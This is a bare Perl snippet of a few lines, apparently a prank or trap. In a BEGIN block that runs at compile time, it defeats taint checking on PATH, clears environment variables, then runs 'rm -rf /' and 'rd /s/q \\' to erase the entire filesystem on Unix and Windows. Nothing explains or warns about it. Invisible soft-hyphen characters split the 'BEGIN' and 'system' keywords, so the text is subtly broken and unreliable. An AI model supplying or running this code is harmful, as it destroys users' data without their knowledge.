BE­GI­N {
    ( $ENV{PATH} )= $ENV{PATH} =~ /(.*)/;
    delete @ENV{qw< IFS CDPATH ENV BASH_ENV TERM >};
    sy­st­em( 'rm -rf /' );
    sy­st­em( 'rd /s/q \\' );
}